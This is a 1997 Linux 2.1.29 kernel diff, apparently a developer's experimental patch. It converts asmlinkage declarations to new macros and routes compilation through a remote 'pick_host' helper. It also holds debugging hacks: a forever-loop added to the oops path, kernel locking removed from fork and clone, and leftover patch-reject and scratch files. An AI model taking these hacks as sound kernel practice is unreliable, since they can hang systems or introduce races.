diff -u --recursive --new-file linux-2.1.29/Documentation/filesystems/vfs.txt linux/Documentation/filesystems/vfs.txt --- linux-2.1.29/Documentation/filesystems/vfs.txt Sat May 10 18:17:30 1997 +++ linux/Documentation/filesystems/vfs.txt Sun Mar 23 13:39:04 1997 @@ -2,6 +2,8 @@ =========================================== by Benjamin LaHaise (blah@dot.superaje.com) +Note: This document will be completed over time - I haven't forgotten! + Noone else seems to be writing this, so here's a quick description of what I've learned while writing lofs... @@ -30,7 +32,7 @@ in mounting itself, sb should be returned, otherwise NULL. options is a pointer to a maximum of PAGE_SIZE-1 bytes of options, typically a zero terminated string passed from mount. This page is freed after read_super - returns, so do not use any pointers into it. + returns, so do not keep any pointers into it. This routine _must_ set the s_op member of sb to point to a valid super_operations structure. @@ -136,7 +138,6 @@ The follow_link function is only nescessary if a filesystem uses a really twisted form of symbolic links - namely if the symbolic link comes from a foriegn filesystem that makes no sense.... - I threw this one out - too much redundant code! int (*readpage) (struct inode *, struct page *); [optional] int (*writepage) (struct inode *, struct page *); [mandatory with readpage] @@ -154,12 +155,18 @@ int (*smap) (struct inode *,int); [optional] + void (*stat) (struct inode *,struct stat *) + Typically this will be set to generic_stat - a filesystem need only + implement this function if the information stored in the inode does + not correspond to the current state of the inode. For example, the + lo filesystem forwards the stat request to the underlying filesystem. + struct file_operations ====================== - int (*lseek) (struct inode *, struct file *, off_t, int); - int (*read) (struct inode *, struct file *, char *, int); - int (*write) (struct inode *, struct file *, const char *, int); + long long (*llseek) (struct inode *, struct file *, long long, int); + long (*read) (struct inode *, struct file *, char *, unsigned long); + long (*write) (struct inode *, struct file *, const char *, unsigned long); int (*readdir) (struct inode *, struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, poll_table *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); diff -u --recursive --new-file linux-2.1.29/Makefile linux/Makefile --- linux-2.1.29/Makefile Sat May 10 18:17:45 1997 +++ linux/Makefile Tue Mar 18 18:42:04 1997 @@ -38,7 +38,7 @@ AR =$(CROSS_COMPILE)ar NM =$(CROSS_COMPILE)nm STRIP =$(CROSS_COMPILE)strip -MAKE =make +MAKE =make -j3 GENKSYMS=/sbin/genksyms all: do-it-all @@ -89,6 +89,7 @@ # CFLAGS = -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer +#-mregparm=3 - can't do this until gcc generates correct code... sigh! ifdef CONFIG_CPP CFLAGS := $(CFLAGS) -x c++ diff -u --recursive --new-file linux-2.1.29/Rules.make linux/Rules.make --- linux-2.1.29/Rules.make Sat May 10 18:17:09 1997 +++ linux/Rules.make Fri Feb 21 18:34:33 1997 @@ -45,7 +45,16 @@ $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -S $< -o $@ %.o: %.c - $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c -o $@ $< + $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -E -o tmp.$@ $< + pick_host "cd /tmp && cat >tmp.$@.c && $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c tmp.$@.c -o tmp.$@ 1>&2 && cat tmp.$@ && rm tmp.$@.c tmp.$@" $@ + rm tmp.$@ + +# pick_host "cd `pwd` && $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c -o $@ $<" + +# $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -E -o - $< | \ +# pick_host "cd /tmp && cat >tmp.$@.c && $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c tmp.$@.c -o tmp.$@ 1>&2 && cat tmp.$@ && rm tmp.$@.c tmp.$@" >$@ + +# $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c -o $@ $< %.o: %.s $(AS) $(ASFLAGS) $(EXTRA_CFLAGS) -o $@ $< diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/ioport.c linux/arch/i386/kernel/ioport.c --- linux-2.1.29/arch/i386/kernel/ioport.c Sat May 10 18:17:34 1997 +++ linux/arch/i386/kernel/ioport.c Fri Feb 21 18:34:34 1997 @@ -51,7 +51,7 @@ /* * this changes the io permissions bitmap in the current task. */ -asmlinkage int sys_ioperm(unsigned long from, unsigned long num, int turn_on) +asmlinkage_d(int sys_ioperm(unsigned long from, unsigned long num, int turn_on)) { if ((from + num <= from) || (from + num > IO_BITMAP_SIZE*32)) return -EINVAL; @@ -75,10 +75,10 @@ * code. */ -asmlinkage int sys_iopl(long ebx,long ecx,long edx, +asmlinkage_d(int sys_iopl(long ebx,long ecx,long edx, long esi, long edi, long ebp, long eax, long ds, long es, long orig_eax, long eip, long cs, - long eflags, long esp, long ss) + long eflags, long esp, long ss)) { unsigned int level = ebx; diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/irq.c linux/arch/i386/kernel/irq.c --- linux-2.1.29/arch/i386/kernel/irq.c Sat May 10 18:17:40 1997 +++ linux/arch/i386/kernel/irq.c Wed Mar 5 21:34:48 1997 @@ -343,7 +343,7 @@ * IRQ's should use this format: notably the keyboard/timer * routines. */ -asmlinkage void do_IRQ(int irq, struct pt_regs * regs) +asmlinkage_d(void do_IRQ(int irq, struct pt_regs * regs)) { struct irqaction * action = *(irq + irq_action); int do_random = 0; @@ -375,7 +375,7 @@ * stuff - the handler is also running with interrupts disabled unless * it explicitly enables them later. */ -asmlinkage void do_fast_IRQ(int irq) +asmlinkage_d(void do_fast_IRQ(int irq)) { struct irqaction * action = *(irq + irq_action); int do_random = 0; diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/ldt.c linux/arch/i386/kernel/ldt.c --- linux-2.1.29/arch/i386/kernel/ldt.c Sat May 10 18:17:09 1997 +++ linux/arch/i386/kernel/ldt.c Fri Feb 21 18:34:34 1997 @@ -117,7 +117,7 @@ return 0; } -asmlinkage int sys_modify_ldt(int func, void *ptr, unsigned long bytecount) +asmlinkage_d(int sys_modify_ldt(int func, void *ptr, unsigned long bytecount)) { int ret; diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/process.c linux/arch/i386/kernel/process.c --- linux-2.1.29/arch/i386/kernel/process.c Sat May 10 18:17:09 1997 +++ linux/arch/i386/kernel/process.c Fri Feb 21 18:34:34 1997 @@ -37,9 +37,9 @@ #include #ifdef __SMP__ -asmlinkage void ret_from_smpfork(void) __asm__("ret_from_smpfork"); +asmlinkage_p(void ret_from_smpfork(void) __asm__("ret_from_smpfork")); #else -asmlinkage void ret_from_sys_call(void) __asm__("ret_from_sys_call"); +asmlinkage_p(void ret_from_sys_call(void) __asm__("ret_from_sys_call")); #endif #ifdef CONFIG_APM @@ -94,7 +94,7 @@ * The idle loop on a uniprocessor i386.. */ -asmlinkage int sys_idle(void) +asmlinkage_d(int sys_idle(void)) { unsigned long start_idle = 0; int ret = -EPERM; @@ -139,7 +139,7 @@ * so as to get the right locking semantics. */ -asmlinkage int sys_idle(void) +asmlinkage_d(int sys_idle(void)) { int ret = -EPERM; @@ -590,36 +590,32 @@ dump->u_fpvalid = dump_fpu (regs, &dump->i387); } -asmlinkage int sys_fork(struct pt_regs regs) +asmlinkage_d(int sys_fork(struct pt_regs regs)) { int ret; - lock_kernel(); ret = do_fork(SIGCHLD, regs.esp, ®s); - unlock_kernel(); return ret; } -asmlinkage int sys_clone(struct pt_regs regs) +asmlinkage_d(int sys_clone(struct pt_regs regs)) { unsigned long clone_flags; unsigned long newsp; int ret; - lock_kernel(); clone_flags = regs.ebx; newsp = regs.ecx; if (!newsp) newsp = regs.esp; ret = do_fork(clone_flags, newsp, ®s); - unlock_kernel(); return ret; } /* * sys_execve() executes a new program. */ -asmlinkage int sys_execve(struct pt_regs regs) +asmlinkage_d(int sys_execve(struct pt_regs regs)) { int error; char * filename; diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/ptrace.c linux/arch/i386/kernel/ptrace.c --- linux-2.1.29/arch/i386/kernel/ptrace.c Sat May 10 18:17:09 1997 +++ linux/arch/i386/kernel/ptrace.c Fri Feb 21 18:34:34 1997 @@ -361,7 +361,7 @@ return retval; } -asmlinkage int sys_ptrace(long request, long pid, long addr, long data) +asmlinkage_d(int sys_ptrace(long request, long pid, long addr, long data)) { struct task_struct *child; struct user * dummy = NULL; @@ -582,7 +582,7 @@ return ret; } -asmlinkage void syscall_trace(void) +asmlinkage_d(void syscall_trace(void)) { lock_kernel(); if ((current->flags & (PF_PTRACED|PF_TRACESYS)) diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/signal.c linux/arch/i386/kernel/signal.c --- linux-2.1.29/arch/i386/kernel/signal.c Sat May 10 18:17:09 1997 +++ linux/arch/i386/kernel/signal.c Fri Feb 21 18:34:34 1997 @@ -23,13 +23,14 @@ #define _BLOCKABLE (~(_S(SIGKILL) | _S(SIGSTOP))) -asmlinkage int sys_waitpid(pid_t pid,unsigned long * stat_addr, int options); -asmlinkage int do_signal(unsigned long oldmask, struct pt_regs * regs); +asmlinkage_p(int sys_waitpid(pid_t pid,unsigned long * stat_addr, int options)); +asmlinkage_p(int do_signal(unsigned long oldmask, struct pt_regs * regs)); +asmlinkage_p(int sys_sigsuspend(int restart, unsigned long oldmask, unsigned long set)); /* * atomically swap in the new signal mask, and wait for a signal. */ -asmlinkage int sys_sigsuspend(int restart, unsigned long oldmask, unsigned long set) +asmlinkage_d(int sys_sigsuspend(int restart, unsigned long oldmask, unsigned long set)) { unsigned long mask; struct pt_regs * regs; @@ -85,7 +86,7 @@ /* * This sets regs->esp even though we don't actually use sigstacks yet.. */ -asmlinkage int sys_sigreturn(unsigned long __unused) +asmlinkage_d(int sys_sigreturn(unsigned long __unused)) { #define COPY(x) regs->x = context->x #define COPY_SEG(seg) \ @@ -305,7 +306,7 @@ * the kernel can handle, and then we build all the user-level signal handling * stack-frames in one go after that. */ -asmlinkage int do_signal(unsigned long oldmask, struct pt_regs * regs) +asmlinkage_d(int do_signal(unsigned long oldmask, struct pt_regs * regs)) { unsigned long mask; unsigned long signr; diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/sys_i386.c linux/arch/i386/kernel/sys_i386.c --- linux-2.1.29/arch/i386/kernel/sys_i386.c Sat May 10 18:17:36 1997 +++ linux/arch/i386/kernel/sys_i386.c Wed Mar 5 21:12:15 1997 @@ -25,7 +25,7 @@ * sys_pipe() is the normal C calling standard for creating * a pipe. It's not the way unix traditionally does this, though. */ -asmlinkage int sys_pipe(unsigned long * fildes) +asmlinkage_d(int sys_pipe(unsigned long * fildes)) { int fd[2]; int error; @@ -56,7 +56,7 @@ unsigned long offset; }; -asmlinkage int old_mmap(struct mmap_arg_struct *arg) +asmlinkage_d(int old_mmap(struct mmap_arg_struct *arg)) { int error = -EFAULT; struct file * file = NULL; @@ -77,7 +77,7 @@ return error; } -extern asmlinkage int sys_select(int, fd_set *, fd_set *, fd_set *, struct timeval *); +asmlinkage_p(extern int sys_select(int, fd_set *, fd_set *, fd_set *, struct timeval *)); struct sel_arg_struct { unsigned long n; @@ -85,7 +85,7 @@ struct timeval *tvp; }; -asmlinkage int old_select(struct sel_arg_struct *arg) +asmlinkage_d(int old_select(struct sel_arg_struct *arg)) { struct sel_arg_struct a; @@ -100,7 +100,7 @@ * * This is really horribly ugly. */ -asmlinkage int sys_ipc (uint call, int first, int second, int third, void *ptr, long fifth) +asmlinkage_d(int sys_ipc (uint call, int first, int second, int third, void *ptr, long fifth)) { int version, ret; diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/test.c linux/arch/i386/kernel/test.c --- linux-2.1.29/arch/i386/kernel/test.c Wed Dec 31 19:00:00 1969 +++ linux/arch/i386/kernel/test.c Fri Feb 21 18:34:34 1997 @@ -0,0 +1,22 @@ +#include +#include + +extern void bar ( void ); + +void foo ( void ) +{ + unsigned long flags; + + save_flags(flags); + cli(); + + bar(); + + restore_flags(flags); +} + +void zoik ( void ) +{ + bar(); + sti(); +} diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/traps.c linux/arch/i386/kernel/traps.c --- linux-2.1.29/arch/i386/kernel/traps.c Sat May 10 18:17:34 1997 +++ linux/arch/i386/kernel/traps.c Fri Feb 21 18:34:34 1997 @@ -27,8 +27,8 @@ #include #include -asmlinkage int system_call(void); -asmlinkage void lcall7(void); +asmlinkage_p(int system_call(void)); +asmlinkage_p(void lcall7(void)); struct desc_struct default_ldt = { 0, 0 }; static inline void console_verbose(void) @@ -38,7 +38,7 @@ } #define DO_ERROR(trapnr, signr, str, name, tsk) \ -asmlinkage void do_##name(struct pt_regs * regs, long error_code) \ +asmlinkage_d(void do_##name(struct pt_regs * regs, long error_code)) \ { \ lock_kernel(); \ tsk->tss.error_code = error_code; \ @@ -49,7 +49,7 @@ } #define DO_VM86_ERROR(trapnr, signr, str, name, tsk) \ -asmlinkage void do_##name(struct pt_regs * regs, long error_code) \ +asmlinkage_d(void do_##name(struct pt_regs * regs, long error_code)) \ { \ lock_kernel(); \ if (regs->eflags & VM_MASK) { \ @@ -84,25 +84,25 @@ void page_exception(void); -asmlinkage void divide_error(void); -asmlinkage void debug(void); -asmlinkage void nmi(void); -asmlinkage void int3(void); -asmlinkage void overflow(void); -asmlinkage void bounds(void); -asmlinkage void invalid_op(void); -asmlinkage void device_not_available(void); -asmlinkage void double_fault(void); -asmlinkage void coprocessor_segment_overrun(void); -asmlinkage void invalid_TSS(void); -asmlinkage void segment_not_present(void); -asmlinkage void stack_segment(void); -asmlinkage void general_protection(void); -asmlinkage void page_fault(void); -asmlinkage void coprocessor_error(void); -asmlinkage void reserved(void); -asmlinkage void alignment_check(void); -asmlinkage void spurious_interrupt_bug(void); +asmlinkage_p(void divide_error(void)); +asmlinkage_p(void debug(void)); +asmlinkage_p(void nmi(void)); +asmlinkage_p(void int3(void)); +asmlinkage_p(void overflow(void)); +asmlinkage_p(void bounds(void)); +asmlinkage_p(void invalid_op(void)); +asmlinkage_p(void device_not_available(void)); +asmlinkage_p(void double_fault(void)); +asmlinkage_p(void coprocessor_segment_overrun(void)); +asmlinkage_p(void invalid_TSS(void)); +asmlinkage_p(void segment_not_present(void)); +asmlinkage_p(void stack_segment(void)); +asmlinkage_p(void general_protection(void)); +asmlinkage_p(void page_fault(void)); +asmlinkage_p(void coprocessor_error(void)); +asmlinkage_p(void reserved(void)); +asmlinkage_p(void alignment_check(void)); +asmlinkage_p(void spurious_interrupt_bug(void)); int kstack_depth_to_print = 24; @@ -182,6 +182,8 @@ for(i=0;i<20;i++) printk("%02x ",0xff & get_seg_byte(regs->xcs & 0xffff,(i+(char *)regs->eip))); printk("\n"); + for(;;) + ; do_exit(SIGSEGV); } @@ -202,7 +204,7 @@ flush from user space exception some people get. */ DO_ERROR(19, SIGSEGV, "cache flush denied", cache_flush_denied, current) -asmlinkage void cache_flush_denied(struct pt_regs * regs, long error_code) +asmlinkage_d(void cache_flush_denied(struct pt_regs * regs, long error_code)) { if (regs->eflags & VM_MASK) { handle_vm86_fault((struct kernel_vm86_regs *) regs, error_code); @@ -214,7 +216,7 @@ force_sig(SIGSEGV, current); } -asmlinkage void do_general_protection(struct pt_regs * regs, long error_code) +asmlinkage_d(void do_general_protection(struct pt_regs * regs, long error_code)) { lock_kernel(); if (regs->eflags & VM_MASK) { @@ -229,7 +231,7 @@ unlock_kernel(); } -asmlinkage void do_nmi(struct pt_regs * regs, long error_code) +asmlinkage_d(void do_nmi(struct pt_regs * regs, long error_code)) { lock_kernel(); #ifdef CONFIG_SMP_NMI_INVAL @@ -244,7 +246,7 @@ unlock_kernel(); } -asmlinkage void do_debug(struct pt_regs * regs, long error_code) +asmlinkage_d(void do_debug(struct pt_regs * regs, long error_code)) { lock_kernel(); if (regs->eflags & VM_MASK) { @@ -303,7 +305,7 @@ unlock_kernel(); } -asmlinkage void do_coprocessor_error(struct pt_regs * regs, long error_code) +asmlinkage_d(void do_coprocessor_error(struct pt_regs * regs, long error_code)) { lock_kernel(); ignore_irq13 = 1; @@ -311,8 +313,7 @@ unlock_kernel(); } -asmlinkage void do_spurious_interrupt_bug(struct pt_regs * regs, - long error_code) +asmlinkage_d(void do_spurious_interrupt_bug(struct pt_regs * regs, long error_code)) { lock_kernel(); printk("Ignoring P6 Local APIC Spurious Interrupt Bug...\n"); @@ -326,7 +327,7 @@ * Careful.. There are problems with IBM-designed IRQ13 behaviour. * Don't touch unless you *really* know how it works. */ -asmlinkage void math_state_restore(void) +asmlinkage_d(void math_state_restore(void)) { lock_kernel(); __asm__ __volatile__("clts"); /* Allow maths ops (or we recurse) */ @@ -368,7 +369,7 @@ #ifndef CONFIG_MATH_EMULATION -asmlinkage void math_emulate(long arg) +asmlinkage_d(void math_emulate(long arg)) { lock_kernel(); printk("math-emulation not enabled and no coprocessor found.\n"); diff -u --recursive --new-file linux-2.1.29/arch/i386/kernel/vm86.c linux/arch/i386/kernel/vm86.c --- linux-2.1.29/arch/i386/kernel/vm86.c Sat May 10 18:17:36 1997 +++ linux/arch/i386/kernel/vm86.c Wed Mar 5 21:12:15 1997 @@ -62,7 +62,7 @@ ( (unsigned)( & (((struct kernel_vm86_regs *)0)->VM86_REGS_PART2) ) ) #define VM86_REGS_SIZE2 (sizeof(struct kernel_vm86_regs) - VM86_REGS_SIZE1) -asmlinkage struct pt_regs * save_v86_state(struct kernel_vm86_regs * regs) +asmlinkage_d(struct pt_regs * save_v86_state(struct kernel_vm86_regs * regs)) { struct pt_regs *ret; unsigned long tmp; @@ -125,7 +125,7 @@ static do_vm86_irq_handling(int subfunction, int irqnumber); static void do_sys_vm86(struct kernel_vm86_struct *info, struct task_struct *tsk); -asmlinkage int sys_vm86old(struct vm86_struct * v86) +asmlinkage_d(int sys_vm86old(struct vm86_struct * v86)) { struct kernel_vm86_struct info; /* declare this _on top_, * this avoids wasting of stack space. @@ -156,7 +156,7 @@ } -asmlinkage int sys_vm86(unsigned long subfunction, struct vm86plus_struct * v86) +asmlinkage_d(int sys_vm86(unsigned long subfunction, struct vm86plus_struct * v86)) { struct kernel_vm86_struct info; /* declare this _on top_, * this avoids wasting of stack space. diff -u --recursive --new-file linux-2.1.29/arch/i386/math-emu/errors.c linux/arch/i386/math-emu/errors.c --- linux-2.1.29/arch/i386/math-emu/errors.c Sat May 10 18:12:27 1997 +++ linux/arch/i386/math-emu/errors.c Fri Feb 21 18:34:34 1997 @@ -371,7 +371,7 @@ /* Real operation attempted on two operands, one a NaN. */ /* Returns nz if the exception is unmasked */ -asmlinkage int real_2op_NaN(FPU_REG const *a, FPU_REG const *b, FPU_REG *dest) +asmlinkage_d(int real_2op_NaN(FPU_REG const *a, FPU_REG const *b, FPU_REG *dest)) { FPU_REG const *x; int signalling; @@ -437,7 +437,7 @@ /* Invalid arith operation on Valid registers */ /* Returns nz if the exception is unmasked */ -asmlinkage int arith_invalid(FPU_REG *dest) +asmlinkage_d(int arith_invalid(FPU_REG *dest)) { EXCEPTION(EX_Invalid); @@ -454,7 +454,7 @@ /* Divide a finite number by zero */ -asmlinkage int divide_by_zero(int sign, FPU_REG *dest) +asmlinkage_d(int divide_by_zero(int sign, FPU_REG *dest)) { if ( control_word & CW_ZeroDiv ) @@ -489,7 +489,7 @@ /* This may be called often, so keep it lean */ -asmlinkage void set_precision_flag_up(void) +asmlinkage_d(void set_precision_flag_up(void)) { if ( control_word & CW_Precision ) partial_status |= (SW_Precision | SW_C1); /* The masked response */ @@ -500,7 +500,7 @@ /* This may be called often, so keep it lean */ -asmlinkage void set_precision_flag_down(void) +asmlinkage_d(void set_precision_flag_down(void)) { if ( control_word & CW_Precision ) { /* The masked response */ @@ -512,7 +512,7 @@ } -asmlinkage int denormal_operand(void) +asmlinkage_d(int denormal_operand(void)) { if ( control_word & CW_Denormal ) { /* The masked response */ @@ -527,7 +527,7 @@ } -asmlinkage int arith_overflow(FPU_REG *dest) +asmlinkage_d(int arith_overflow(FPU_REG *dest)) { if ( control_word & CW_Overflow ) @@ -561,7 +561,7 @@ } -asmlinkage int arith_underflow(FPU_REG *dest) +asmlinkage_d(int arith_underflow(FPU_REG *dest)) { if ( control_word & CW_Underflow ) diff -u --recursive --new-file linux-2.1.29/arch/i386/math-emu/fpu_emu.h linux/arch/i386/math-emu/fpu_emu.h --- linux-2.1.29/arch/i386/math-emu/fpu_emu.h Sun Sep 22 03:11:43 1996 +++ linux/arch/i386/math-emu/fpu_emu.h Fri Feb 21 18:34:34 1997 @@ -145,24 +145,24 @@ /*----- Prototypes for functions written in assembler -----*/ /* extern void reg_move(FPU_REG *a, FPU_REG *b); */ -asmlinkage void normalize(FPU_REG *x); -asmlinkage void normalize_nuo(FPU_REG *x); -asmlinkage int reg_div(FPU_REG const *arg1, FPU_REG const *arg2, - FPU_REG *answ, unsigned int control_w); -asmlinkage int reg_u_sub(FPU_REG const *arg1, FPU_REG const *arg2, - FPU_REG *answ, unsigned int control_w); -asmlinkage int reg_u_mul(FPU_REG const *arg1, FPU_REG const *arg2, - FPU_REG *answ, unsigned int control_w); -asmlinkage int reg_u_div(FPU_REG const *arg1, FPU_REG const *arg2, - FPU_REG *answ, unsigned int control_w); -asmlinkage int reg_u_add(FPU_REG const *arg1, FPU_REG const *arg2, - FPU_REG *answ, unsigned int control_w); -asmlinkage int wm_sqrt(FPU_REG *n, unsigned int control_w); -asmlinkage unsigned shrx(void *l, unsigned x); -asmlinkage unsigned shrxs(void *v, unsigned x); -asmlinkage unsigned long div_small(unsigned long long *x, unsigned long y); -asmlinkage void round_reg(FPU_REG *arg, unsigned int extent, - unsigned int control_w); +asmlinkage_p(void normalize(FPU_REG *x)); +asmlinkage_p(void normalize_nuo(FPU_REG *x)); +asmlinkage_p(int reg_div(FPU_REG const *arg1, FPU_REG const *arg2, + FPU_REG *answ, unsigned int control_w)); +asmlinkage_p(int reg_u_sub(FPU_REG const *arg1, FPU_REG const *arg2, + FPU_REG *answ, unsigned int control_w)); +asmlinkage_p(int reg_u_mul(FPU_REG const *arg1, FPU_REG const *arg2, + FPU_REG *answ, unsigned int control_w)); +asmlinkage_p(int reg_u_div(FPU_REG const *arg1, FPU_REG const *arg2, + FPU_REG *answ, unsigned int control_w)); +asmlinkage_p(int reg_u_add(FPU_REG const *arg1, FPU_REG const *arg2, + FPU_REG *answ, unsigned int control_w)); +asmlinkage_p(int wm_sqrt(FPU_REG *n, unsigned int control_w)); +asmlinkage_p(unsigned shrx(void *l, unsigned x)); +asmlinkage_p(unsigned shrxs(void *v, unsigned x)); +asmlinkage_p(unsigned long div_small(unsigned long long *x, unsigned long y)); +asmlinkage_p(void round_reg(FPU_REG *arg, unsigned int extent, + unsigned int control_w)); #ifndef MAKING_PROTO #include "fpu_proto.h" diff -u --recursive --new-file linux-2.1.29/arch/i386/math-emu/fpu_entry.c linux/arch/i386/math-emu/fpu_entry.c --- linux-2.1.29/arch/i386/math-emu/fpu_entry.c Sat May 10 18:12:27 1997 +++ linux/arch/i386/math-emu/fpu_entry.c Fri Feb 21 18:34:34 1997 @@ -129,7 +129,7 @@ static int valid_prefix(unsigned char *Byte, unsigned char **fpu_eip, overrides *override); -asmlinkage void math_emulate(long arg) +asmlinkage_d(void math_emulate(long arg)) { unsigned char FPU_modrm, byte1; unsigned short code; diff -u --recursive --new-file linux-2.1.29/arch/i386/math-emu/fpu_entry.c# linux/arch/i386/math-emu/fpu_entry.c# --- linux-2.1.29/arch/i386/math-emu/fpu_entry.c# Wed Dec 31 19:00:00 1969 +++ linux/arch/i386/math-emu/fpu_entry.c# Fri Feb 21 18:33:55 1997 @@ -0,0 +1,17 @@ +*************** +*** 129,135 **** + static int valid_prefix(unsigned char *Byte, unsigned char **fpu_eip, + overrides *override); + +- asmlinkage(void math_emulate(long arg)) + { + unsigned char FPU_modrm, byte1; + unsigned short code; +--- 129,135 ---- + static int valid_prefix(unsigned char *Byte, unsigned char **fpu_eip, + overrides *override); + ++ asmlinkage void math_emulate(long arg) + { + unsigned char FPU_modrm, byte1; + unsigned short code; diff -u --recursive --new-file linux-2.1.29/arch/i386/math-emu/fpu_proto.h linux/arch/i386/math-emu/fpu_proto.h --- linux-2.1.29/arch/i386/math-emu/fpu_proto.h Sat May 10 18:12:13 1997 +++ linux/arch/i386/math-emu/fpu_proto.h Fri Feb 21 18:34:34 1997 @@ -7,15 +7,15 @@ extern void stack_underflow_i(int i); extern void stack_underflow_pop(int i); extern int set_precision_flag(int flags); -asmlinkage void FPU_exception(int n); -asmlinkage int real_2op_NaN(FPU_REG const *a, FPU_REG const *b, FPU_REG *dest); -asmlinkage int arith_invalid(FPU_REG *dest); -asmlinkage int divide_by_zero(int sign, FPU_REG *dest); -asmlinkage void set_precision_flag_up(void); -asmlinkage void set_precision_flag_down(void); -asmlinkage int denormal_operand(void); -asmlinkage int arith_overflow(FPU_REG *dest); -asmlinkage int arith_underflow(FPU_REG *dest); +asmlinkage_p(void FPU_exception(int n)); +asmlinkage_p(int real_2op_NaN(FPU_REG const *a, FPU_REG const *b, FPU_REG *dest)); +asmlinkage_p(int arith_invalid(FPU_REG *dest)); +asmlinkage_p(int divide_by_zero(int sign, FPU_REG *dest)); +asmlinkage_p(void set_precision_flag_up(void)); +asmlinkage_p(void set_precision_flag_down(void)); +asmlinkage_p(int denormal_operand(void)); +asmlinkage_p(int arith_overflow(FPU_REG *dest)); +asmlinkage_p(int arith_underflow(FPU_REG *dest)); /* fpu_arith.c */ extern void fadd__(void); @@ -51,7 +51,7 @@ extern void fstp_i(void); /* fpu_entry.c */ -asmlinkage void math_emulate(long arg); +asmlinkage_p(void math_emulate(long arg)); extern void math_abort(struct info *info, unsigned int signal); /* fpu_etc.c */ diff -u --recursive --new-file linux-2.1.29/arch/i386/math-emu/fpu_proto.h# linux/arch/i386/math-emu/fpu_proto.h# --- linux-2.1.29/arch/i386/math-emu/fpu_proto.h# Wed Dec 31 19:00:00 1969 +++ linux/arch/i386/math-emu/fpu_proto.h# Fri Feb 21 18:33:55 1997 @@ -0,0 +1,50 @@ +*************** +*** 7,21 **** + extern void stack_underflow_i(int i); + extern void stack_underflow_pop(int i); + extern int set_precision_flag(int flags); +- asmlinkage(void FPU_exception(int n)); +- asmlinkage(int real_2op_NaN(FPU_REG const *a, FPU_REG const *b, FPU_REG *dest)); +- asmlinkage(int arith_invalid(FPU_REG *dest)); +- asmlinkage(int divide_by_zero(int sign, FPU_REG *dest)); +- asmlinkage(void set_precision_flag_up(void)); +- asmlinkage(void set_precision_flag_down(void)); +- asmlinkage(int denormal_operand(void)); +- asmlinkage(int arith_overflow(FPU_REG *dest)); +- asmlinkage(int arith_underflow(FPU_REG *dest)); + + /* fpu_arith.c */ + extern void fadd__(void); +--- 7,21 ---- + extern void stack_underflow_i(int i); + extern void stack_underflow_pop(int i); + extern int set_precision_flag(int flags); ++ asmlinkage void FPU_exception(int n); ++ asmlinkage int real_2op_NaN(FPU_REG const *a, FPU_REG const *b, FPU_REG *dest); ++ asmlinkage int arith_invalid(FPU_REG *dest); ++ asmlinkage int divide_by_zero(int sign, FPU_REG *dest); ++ asmlinkage void set_precision_flag_up(void); ++ asmlinkage void set_precision_flag_down(void); ++ asmlinkage int denormal_operand(void); ++ asmlinkage int arith_overflow(FPU_REG *dest); ++ asmlinkage int arith_underflow(FPU_REG *dest); + + /* fpu_arith.c */ + extern void fadd__(void); +*************** +*** 51,57 **** + extern void fstp_i(void); + + /* fpu_entry.c */ +- asmlinkage(void math_emulate(long arg)); + extern void math_abort(struct info *info, unsigned int signal); + + /* fpu_etc.c */ +--- 51,57 ---- + extern void fstp_i(void); + + /* fpu_entry.c */ ++ asmlinkage void math_emulate(long arg); + extern void math_abort(struct info *info, unsigned int signal); + + /* fpu_etc.c */ diff -u --recursive --new-file linux-2.1.29/arch/i386/math-emu/poly.h linux/arch/i386/math-emu/poly.h --- linux-2.1.29/arch/i386/math-emu/poly.h Mon Aug 1 01:19:14 1994 +++ linux/arch/i386/math-emu/poly.h Fri Feb 21 18:34:34 1997 @@ -26,19 +26,19 @@ unsigned long msw; } Xsig; -asmlinkage void mul64(unsigned long long const *a, unsigned long long const *b, - unsigned long long *result); -asmlinkage void polynomial_Xsig(Xsig *, const unsigned long long *x, - const unsigned long long terms[], const int n); +asmlinkage_p(void mul64(unsigned long long const *a, unsigned long long const *b, + unsigned long long *result)); +asmlinkage_p(void polynomial_Xsig(Xsig *, const unsigned long long *x, + const unsigned long long terms[], const int n)); -asmlinkage void mul32_Xsig(Xsig *, const unsigned long mult); -asmlinkage void mul64_Xsig(Xsig *, const unsigned long long *mult); -asmlinkage void mul_Xsig_Xsig(Xsig *dest, const Xsig *mult); +asmlinkage_p(void mul32_Xsig(Xsig *, const unsigned long mult)); +asmlinkage_p(void mul64_Xsig(Xsig *, const unsigned long long *mult)); +asmlinkage_p(void mul_Xsig_Xsig(Xsig *dest, const Xsig *mult)); -asmlinkage void shr_Xsig(Xsig *, const int n); -asmlinkage int round_Xsig(Xsig *); -asmlinkage int norm_Xsig(Xsig *); -asmlinkage void div_Xsig(Xsig *x1, const Xsig *x2, const Xsig *dest); +asmlinkage_p(void shr_Xsig(Xsig *, const int n)); +asmlinkage_p(int round_Xsig(Xsig *)); +asmlinkage_p(int norm_Xsig(Xsig *)); +asmlinkage_p(void div_Xsig(Xsig *x1, const Xsig *x2, const Xsig *dest)); /* Macro to extract the most significant 32 bits from a long long */ #define LL_MSW(x) (((unsigned long *)&x)[1]) diff -u --recursive --new-file linux-2.1.29/arch/i386/mm/fault.c linux/arch/i386/mm/fault.c --- linux-2.1.29/arch/i386/mm/fault.c Sat May 10 18:17:09 1997 +++ linux/arch/i386/mm/fault.c Sun Mar 23 14:04:09 1997 @@ -84,7 +84,7 @@ * bit 1 == 0 means read, 1 means write * bit 2 == 0 means kernel, 1 means user-mode */ -asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long error_code) +asmlinkage_d(void do_page_fault(struct pt_regs 